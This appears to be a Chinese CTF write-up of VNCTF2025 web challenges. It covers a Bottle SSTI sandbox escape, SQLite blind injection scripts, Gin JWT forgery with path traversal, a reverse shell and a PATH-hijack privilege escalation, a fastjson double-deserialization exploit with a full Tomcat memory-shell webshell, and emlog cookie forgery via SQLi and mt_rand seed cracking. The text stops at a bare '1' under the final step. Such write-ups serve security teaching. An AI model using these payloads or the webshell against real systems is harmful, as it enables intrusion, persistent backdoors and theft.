VNCTF2025 Web WP

学生姓名管理系统

先附上出题记录:

本来是想出一个bottle的自己改改,弄个一千多行代码让大家审,但是怕被骂,就算了。

后面想找个新的内存马,但是后面测试发现bottle模版的ssti可以直接exec,就想出一个伪装成SSTI模版注入的python沙箱逃逸。

先把危险方法全删了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#利用ast沙箱不允许引用其他库
def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom):
print(f"ERROR: Banned statement {x}")
return False
return True

#删除危险方法
def init_functions():
sys.modules['os'].popen = disabled
sys.modules['os'].system = disabled
sys.modules['subprocess'].popen = disabled
sys.modules['subprocess'].system = disabled
del __builtins__.__dict__['eval']
del __builtins__.__dict__['open']


def disabled(*args, **kwargs):
raise PermissionError("Use of function is not allowed!")

不能删除exec,删除之后程序起不了,因为bottle启动需要用到exec,那就直接利用双括号来命令执行,但是如何执行多行命令呢???分号这些都不能用,发现多个双引号包裹好像可以。

1
{{print(1)}}%0a{{print(2)}}

新的问题,这两句命令上下文是同一个上下文吗?测试发现是的,但是定义变量不能直接a=5,必须要用海象表达式:

普通赋值语句a = 5)会被认为是一个语句,并且如果沙箱不允许执行语句(例如,它只允许执行表达式),就不能使用 a = 5 进行变量赋值。

赋值表达式a := 5)则被视为一个 表达式,它能够返回值并且在沙箱中允许被执行。

1
{{a:=5}}%0a{{print(a)}}

{{__import__('time').sleep(5)}}这样不会触发ast沙箱的ast.Import 有问题。

不能直接ast.Call,禁用的东西太多了,打不出来,怎么才能只禁用import呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def verify_secure(m):
# 遍历 AST 的所有节点
for x in ast.walk(m):
# 检查是否有 Import 或 ImportFrom 语句
if isinstance(x, (ast.Import, ast.ImportFrom)):
print(f"ERROR: Banned statement {x}")
return False

# 检查是否有动态导入的情况(如调用 __import__ 函数)
elif isinstance(x, ast.Call):
# 仅检测 __import__ 调用
if isinstance(x.func, ast.Name) and x.func.id == "__import__":
print(f"ERROR: Banned dynamic import statement {x}")
return False

return True

悲()

突然收到消息要降难度了,本来是打算打栈帧逃逸,现在换简单一点。

长度限制的新SSTI。

在 Python 中,= 用于赋值,但在字符串模板中,bottle.template 期望模板中的内容是可解析为 Python 表达式的。模板引擎的解析机制没有直接支持使用 = 来赋值,它会将赋值语法当作不合法的表达式,从而抛出错误。

原因分析:

  1. 模板解析与 Python 语法: Bottle 的模板引擎依赖于 Python 的表达式求值,但它并不是一个完整的 Python 解释器。在模板中,只有可直接求值的表达式才能通过 {{...}} 语法嵌入。因此,a=5 这样的赋值语法会导致语法错误,因为赋值本身并不是一个返回值的表达式,而是一个操作。
  2. 海象运算符 **:=** 的特别用法: Python 3.8 引入的海象运算符 := 允许在表达式内部进行赋值,并且返回赋值后的值。这意味着 {{a:=5}} 会首先执行赋值操作,然后返回赋值后的值(即 5),这样模板引擎就能识别并输出这个值。:= 使得赋值与表达式结合在一起变得合法,而普通的 a=5 只会执行赋值,且不会返回值,因此不能在模板中直接使用。

a=5 是赋值语句,不会产生值,模板引擎无法识别并直接渲染它。

a:=5 使用了海象运算符,它在赋值后返回赋值的值,模板引擎能够理解并渲染它。

关键点在 SimpleTemplate 的实现中

从源码中,可以找到 SimpleTemplate 类的定义及其对 {{...}} 的处理逻辑。根据源码,模板中的 {{...}} 会被处理为 Python 代码,然后通过 execeval 来执行。具体代码可以在 SimpleTemplate.prepare() 方法中找到:

源码中的关键处理逻辑:

1
2
3
# 在 SimpleTemplate.prepare 方法中
if eval_ctx:
code = "result = (%s)" % code # 将表达式包装成可以求值的 Python 表达式
  • eval 处理表达式:eval 只能处理表达式(返回值的代码),例如 a + 5a := 5,但不能处理赋值语句 a = 5,因为 Python 的 eval() 不支持语句。

  • exec 处理语句: 如果 eval 无法执行,exec 会被调用来处理更复杂的语句(如 for 循环等)。但需要注意的是,exec 不会返回值,因此 {{a = 5}} 的结果无法渲染到模板中。

    1
    2
    print(eval("(a=6)"))   #会报错
    print(eval("(a:=6)")) #输出6

赋值表达式 := 必须出现在某种上下文中作为一个子表达式,例如被括号包裹,或者用在特定上下文中。换句话说,赋值表达式的左侧和右侧需要明确的语法结构来解析。
●print(eval(“(a:=6)”)):
○在这里,(a := 6) 是一个合法的赋值表达式,括号明确标识了这是一个整体,eval 可以正确解析并返回 6。
●print(eval(“a:=6”)):
○这里,a := 6 没有被括号包裹,Python 解释器会将 := 解析为一个赋值语句,但在 eval 中,赋值语句是非法的,因为 eval 只接受单个表达式(expression),不接受语句(statement)。

最后的payload

1
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}

奶龙回家

在/login路由测试输入,发现正常的账户密码应该进不去,输入

1
{"username":"admin","password":"123' or 1=1--"}

发现回显了:

1
{"message":"传入的数据。。有问题哦?"}

应该是触发过滤了,简单猜测是sql注入。fuzz脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'http://node.vnteam.cn:46704/login'
check = '传入的数据。。有问题哦?' # 验证标准

with open('sql脚本/sql fuzz字典.txt',encoding='utf-8') as f:
for i in range(1, 116):
char = f.readline()
char = char.replace('\n', '')
json = { #post
"username":char,
"password":"123456"
}
while True:
res = requests.post(url=url, json=json)
if res.status_code == 302:
if check == res.json()["message"]:
print("该字符是非法字符: {0}".format(char))
else:
print("通过: {0}".format(char))
break

经过fuzz,发现过滤了:

1
空格 = sleep bench union 

而且是单引号闭合,且数据库是sqlite

1
{"username":"123'/**/or/**/(case/**/when(substr(sqlite_version(),1,1)<'a')/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)--","password":"123456"}

这样可以成功盲注,爆破列名和表名:

1
select group_concat(sql) from sqlite_master

查出users表,有username和password字段。

1
select/**/group_concat(username,password)/**/from/**/users

这样来查用户名和密码,给出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from time import sleep
import requests

url = 'http://node.vnteam.cn:43303/login'
result = ''
for i in range(1, 50):
head = 27
tail = 150
while head < tail:
mid = (head + tail) >> 1
payload = 'select/**/group_concat(username,password)/**/from/**/users'
username = 'Infernity'
char = chr(mid)
password = f"123'/**/or/**/(case/**/when(substr(({payload}),{i},1)>'{char}')/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)--"
json = {
"username": username,
"password": password
}
sleep(1)
try:
res = requests.post(url=url, json=json,timeout=3)
except Exception:
head = mid + 1
print(f'\r[*]trying: {result}[{head}-{tail}]', end='')
else:
tail = mid
print(f'\r[*]trying: {result}[{head}-{tail}]', end='')

result += chr(head)
print(f'\r[*]result: {result}')
if result[-1] == '}':
exit(0)

得到username=lailong,password=woaipangmao114514

输入账号密码得到flag

image-20250208152130443

Gin

给了源码,先审审,在routes.go里,找到一个/eval路由,跟进一下在controller.go中的Eval()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
func Eval(c *gin.Context) {
code := c.PostForm("code")
log.Println(code)
if code == "" {
response.Response(c, http.StatusBadRequest, 400, nil, "No code provided")
return
}
log.Println(containsBannedPackages(code))
if containsBannedPackages(code) {
response.Response(c, http.StatusBadRequest, 400, nil, "Code contains banned packages")
return
}
tmpFile, err := ioutil.TempFile("", "goeval-*.go")
if err != nil {
log.Println("Error creating temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error creating temporary file")
return
}
defer os.Remove(tmpFile.Name())

_, err = tmpFile.WriteString(code)
if err != nil {
log.Println("Error writing code to temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error writing code to temp file")
return
}

cmd := exec.Command("go", "run", tmpFile.Name())
output, err := cmd.CombinedOutput()
if err != nil {
log.Println("Error running Go code:", err)
response.Response(c, http.StatusInternalServerError, 500, gin.H{"error": string(output)}, "Error executing code")
return
}

response.Success(c, gin.H{"result": string(output)}, "success")
}

大概意思就是执行了一个go文件,这个go文件是可以由我们自己上传的,有个upload路由,

还有一点,只有admin才能使用Eval路由,鉴权是jwt,那就需要找到密钥,我们来看看密钥生成的逻辑:

1
2
3
4
5
6
func GenerateKey() string {
rand.Seed(config.Year())
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, config.Key())
return key
}

config里面的东西都没给,但是第一个设置随机数种子那里,config.Year()猜测返回值就是2025,所以随机数种子给他设置成2025,key的后面是config.Key()这个文件在附件中给出了,但是是空的,我猜测需要读取这个key.go。

同时还给了一个download路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
func Download(c *gin.Context) {
filename := c.DefaultQuery("filename", "")
if filename == "" {
response.Response(c, http.StatusBadRequest, 400, nil, "Filename is required")
}
basepath := "./uploads"
filepath, _ := url.JoinPath(basepath, filename)
if _, err := os.Stat(filepath); os.IsNotExist(err) {
response.Response(c, http.StatusBadRequest, 404, nil, "File not found")
}
c.Header("Content-Disposition", "attachment; filename="+filename)
c.File(filepath)
}

这里没有加任何过滤,直接拼接我们的输入,可以进行目录穿越,来获取key.go里的内容。

1
http://node.vnteam.cn:46757/download?filename=../config/key.go

成功获取到key的内容:_config_key.go

1
2
3
4
5
6
7
8
package config

func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}

那么就可以获取到jwt的key了:

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

import (
"fmt"
"math/rand"
)

func main() {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
fmt.Println(key)
}

image-20250208211409430

得到jwt的key是122r00t32l,拿着key签一个admin的token

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNzIjoiTWFzaDFyMCIsInN1YiI6InVzZXIgdG9rZW4iLCJleHAiOjE3MzkxMDY5MDMsImlhdCI6MTczOTAyMDUwM30.muc-_kGqt2syJMl4ex1jZzxBEouDovaGnpsBQho0958

现在就可以在/admin路由执行go代码了。但是有过滤

1
2
3
4
5
6
7
8
9
10
11
12
func containsBannedPackages(code string) bool {
importRegex := `(?i)import\s*\((?s:.*?)\)`
re := regexp.MustCompile(importRegex)
matches := re.FindStringSubmatch(code)
imports := matches[0]
log.Println(imports)
if strings.Contains(imports, "os/exec") {
return true
}

return false
}

不能有os/exec,可以用syscall来代替。

这里给一个payload

1
2
3
4
5
6
7
8
9
package main

import (
"syscall"
)

func main() {
syscall.Exec("/bin/sh", []string{"sh", "-c", "whoami"}, []string{})
}

image-20250208213026860

运行cat /flag,发现是假的flag,那应该是要提权了,flag应该在/root里。先弹个shell。

1
bash -c 'bash -i >& /dev/tcp/XXXX/2333 <&1'

image-20250208213513010

找一下suid权限的命令:

1
2
3
4
5
6
7
8
9
10
11
12
ctfer@ret2shell-47-7:/GinTest$ find / -user root -perm -4000 -print 2>/dev/null
<t$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/sudo
/.../Cat

发现/.../Cat这个东西非常可疑,发现运行之后只会输出假flag的内容。逆其内部是运行了

1
system('cat /flag');

写死了命令,不能修改这个Cat文件,那就可以写一个我们自己的cat,让这个Cat以root形式去调用我们自己写的cat,当然,这个cat是不能被放在/bin目录下的,因为没权限,但是可以通过环境变量来提权。

比如。export PATH=/tmp:$PATH执行这个,把/tmp目录放到环境变量之前,然后编写一个自己的cat,放到/tmp目录,再执行/…/Cat,就能拿到flag了。

这里cat的内容为”/bin/bash”

image-20250208224137193

最后获取flag记得是/bin/cat

image-20250208224251849

javaGuide

https://www.linqi.net.cn/index.php/archives/506/

IndexController.class里写了一个反序列化路由/deser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public String deserialize(@RequestParam String payload) {
byte[] decode = Base64.getDecoder().decode(payload);

try {
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));
myObjectInputStream.readObject();
return "ok";
} catch (InvalidClassException e) {
return e.getMessage();
} catch (Exception e) {
e.printStackTrace();
return "exception";
}
}

MyObjectInputStream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.javaguide;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"};
int var5 = denyClasses.length;

for(String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}

return super.resolveClass(desc);
}
}

这个类继承了ObjectInputStream,这里的作用就是过滤了

1
{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"}

这三个类,但是我们构造链子的时候是肯定要用到的,可以通过二次反序列化绕过,原理:由于黑名单仅检测第一次反序列化的结果是否含有危险类,不检测第二次反序列化的结果,所以就可以实现绕过

实现:二次反序列化,顾名思义,我们就是需要找到能够实现两次反序列化的地方,第一个地方很明显就是题目一开始的地方:image-20250209130852762

接下来我们就需要找到一条链子,能够在第一次反序列化的时候,跳转到另一个反序列化的入口,然后执行我们的恶意反序列化链条payload

第一次反序列化链子

第一次反序列化的链子的目的是找到第二次反序列化的入口

熟悉fastjson反序列化链条以及java反序列化链子挖掘思路的话其实很容易就可以想到:

fastjson反序列化有一条链子就是通过

1
BadAttributeValueExpException::readObject()->JSONObject::toString()

BadAttributeValueExpException.java

这里把val赋值为jsonArray的对象,那么就也可以调用JSON类的toString方法在Json这里就会触发fastjson的漏洞,触发get方法。

1
JSON::toString()->JSON::toJSONString()->JSONSerializer::write()->SerializeConfig::getObjectWriter()

JSON.class

JSONSerializer.class

JSONSerializer.class

SerializeConfig.class

1
2
3
4
5
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException, "val", jsonArray);

在这里的get方法,会触发当前序列化的类中的所有get方法,值得一提的事,这个get方法指的是getxxx()方法,而不单纯是get()

那么其实现在目标就很明确了:

我们通过以上调用链构造第一条链子跳转至能够调用任意get方法的,接下来就找,有哪个类里面的get方法存在readObject方法可以实现反序列化。

第二次反序列化链子

接下来我们就是要找到一个类,并且满足:

  • get方法
  • get方法里面能够直接或间接调用readObject()

而这个类就是⽤SignedObject::getObject()

SignedObject

接下来我们就将我们的能够执行命令的调用了黑名单所限制的类的链条的序列化数据传到这里,进行反序列化,就可以实现RCE了。打fastjon原生反序列化

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.security.SignedObject;
import java.util.Base64;
import com.Memshell.tomcat.BehinderFilterShell2;

import static com.Utils.Util.*;

public class test {
public static void main(String[] args) throws Exception {
//生成一个templates
byte[] bytes = ClassPool.getDefault().get(BehinderFilterShell2.class.getName()).toBytecode();
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

//获取进行了动态代理的templatesImpl,保证触发getOutput
Object template = getPOJONodeStableProxy(templates);

//fastjson原生链
Object fastjsonEventListenerList1 = getFastjsonEventListenerList(template);
//二次反序列化
SignedObject signedObject = second_serialize(fastjsonEventListenerList1);
//fastjson原生链
Object fastjsonEventListenerList2 = getFastjsonEventListenerList(signedObject);

//base64加密输出
String b64_payload = serialize(fastjsonEventListenerList2);
System.out.println(b64_payload);

//测试是否成功rce
//byte[] decode = Base64.getDecoder().decode(b64_payload);
//ObjectInputStream myObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
//myObjectInputStream.readObject();
}
}

用到的工具方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
    //反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Aecous");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

//获取进行了动态代理的templatesImpl,保证触发getOutput
public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
return proxyObj;
}

//fastjson原生
public static Object getFastjsonEventListenerList(Object getter) throws Exception {
JSONArray jsonArray0 = new JSONArray();
jsonArray0.add(getter);
EventListenerList eventListenerList0 = getEventListenerList(jsonArray0);
HashMap hashMap0 = new HashMap();
hashMap0.put(getter, eventListenerList0);
return hashMap0;
}

//一条JDK toString链 readObject->toString
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();

Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(obj);

setValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}

public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));
return signedObject;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package com.Memshell.tomcat;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.reflect.ReflectionFactory;

import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Scanner;

public class BehinderFilterShell2 extends AbstractTranslet implements Filter {

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getFieldValue(Object obj,String fieldname) throws Exception{
Field field = getField(obj.getClass(), fieldname);
Object o = field.get(obj);
return o;
}
public BehinderFilterShell2() throws Exception {

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getFieldValue(webappClassLoaderBase, "resources");
StandardContext context = (StandardContext) resources.getContext();

String filterName = "fffff";

//构造FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");

//构造FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(this);

//通过反射机制获取构造器,然后创建对象
ApplicationFilterConfig applicationFilterConfig = createWithConstructor(
ApplicationFilterConfig.class, ApplicationFilterConfig.class,
//形参类型
new Class[]{Context.class, FilterDef.class},
//实参
new Object[]{context, filterDef}
);

//获取到context里的filterConfigs,然后将applicationFilterConfig加入
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig> )getFieldValue(context, "filterConfigs");
filterConfigs.put(filterName,applicationFilterConfig);

context.addFilterDef(filterDef);
context.addFilterMap(filterMap);

}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
try {
String arg0 = request.getParameter("cmd");
if (arg0 != null) {
PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}

Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
chain.doFilter(request,response);
}
} catch (Exception var8) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void destroy() {

}
}

image-20250209161727888

ez_emlog

先去github上下载emlog的源码:

https://github.com/emlog/emlog/releases/download/pro-2.5.4/emlog_pro_2.5.4.zip

这道题要想办法登录后台,在/admin/account.php,如果尝试注册,会提示“系统已关闭注册”,所以我们要想办法拿到一个用户名和密码或者一个cookie。

我们先来看鉴权逻辑:include\lib\loginauth.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public static function validateAuthCookie($cookie = '')
{
if (empty($cookie)) {
return false;
}

$cookie_elements = explode('|', $cookie);
if (count($cookie_elements) !== 3) {
return false;
}

list($username, $expiration, $hmac) = $cookie_elements;

if (!empty($expiration) && $expiration < time()) {
return false;
}

$key = self::emHash($username . '|' . $expiration);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ($hmac !== $hash) {
return false;
}

$user = self::getUserDataByLogin($username);
if (!$user) {
return false;
}
return $user;
}

private static function emHash($data)
{
return hash_hmac('md5', $data, AUTH_KEY);
}

public static function getUserDataByLogin($account)
{
$DB = Database::getInstance();
if (empty($account)) {
return false;
}
$ret = $DB->once_fetch_array("SELECT * FROM " . DB_PREFIX . "user WHERE username = '$account' AND state = 0");
if (!$ret) {
$ret = $DB->once_fetch_array("SELECT * FROM " . DB_PREFIX . "user WHERE email = '$account' AND state = 0");
if (!$ret) {
return false;
}
}
$userData['nickname'] = htmlspecialchars($ret['nickname']);
$userData['username'] = htmlspecialchars($ret['username']);
$userData['password'] = $ret['password'];
$userData['uid'] = $ret['uid'];
$userData['role'] = $ret['role'];
$userData['photo'] = $ret['photo'];
$userData['email'] = $ret['email'];
$userData['description'] = $ret['description'];
$userData['ip'] = $ret['ip'];
$userData['credits'] = (int)$ret['credits'];
$userData['create_time'] = $ret['create_time'];
$userData['update_time'] = $ret['update_time'];
return $userData;
}

首先传入的cookie必须要用两个|来分成三个部分,三个部分分别是:username, expiration, hmac,然后经过hash加密,再把username做一次sql查询。所以我们需要获取一个正常的用户名,但是我们可以看到getUserDataByLogin()中有个明显的sql注入:

1
$ret = $DB->once_fetch_array("SELECT * FROM " . DB_PREFIX . "user WHERE username = '$account' AND state = 0");

这里让account为万能密码直接可以登录。

现在我们看到emHash函数中使用了AUTH_KEY作为hash加密的salt,所以,我们现在需要获取AUTH_KEY

在install.php里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$config = "<?php\n"
. "//MySQL database host\n"
. "const DB_HOST = '$db_host';"
. "\n//Database username\n"
. "const DB_USER = '$db_user';"
. "\n//Database user password\n"
. "const DB_PASSWD = '$db_pw';"
. "\n//Database name\n"
. "const DB_NAME = '$db_name';"
. "\n//Database Table Prefix\n"
. "const DB_PREFIX = '$db_prefix';"
. "\n//Auth key\n"
. "const AUTH_KEY = '" . getRandStr(32) . md5(getUA()) . "';"
. "\n//Cookie name\n"
. "const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_" . getRandStr(32, false) . "';";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}

AUTH_KEY是由32位的随机字符串加上UA头的md5组成的,而生成随机字符串的getRandStr()函数中使用了mt_rand()函数,而我们知道这个函数生成的其实是伪随机数,这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息。

php_mt_seed 工具可以通过已经产生的随机数来推出种子,那么在哪里获取到已经产生的随机数呢?

注意config里面的AUTH_COOKIE_NAME,它也是由getRandStr()函数来生成的,我们看看哪里可以获取到AUTH_COOKIE_NAME,全局搜索。

在admin\account.php里,当退出登录的时候:

1
2
3
4
if ($action == 'logout') {
setcookie(AUTH_COOKIE_NAME, ' ', time() - 31536000, '/');
emDirect("../");
}

会setcookie,也就是说我们能在请求头中拿到AUTH_COOKIE_NAME

image-20250210130532594

1
RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr

搓一个脚本,把随机字符串转化成php_mt_seed认识的样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function php_mt_seed($dict) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$response = "";
for ($i = 0; $i < strlen($dict); $i++) {
for ($j = 0; $j < strlen($chars); $j++) {
if ($dict[$i] == $chars[$j]) {
$response .= $j . ' ' . $j . ' 0 ' . (strlen($chars) - 1) . ' ';
break;
}
}
}
return $response;
}

echo php_mt_seed("RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr");

光这样还不行,记得这是第二次调用getRandStr(32),所以第一次调用的32次mt_rand()生成的东西我们不知道,所以要补32组0 0 0 0

1
./php_mt_seed 0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61

得到随机数种子:2430606281

image-20250210140244890

然后就可以获取AUTH_KEY了:

1
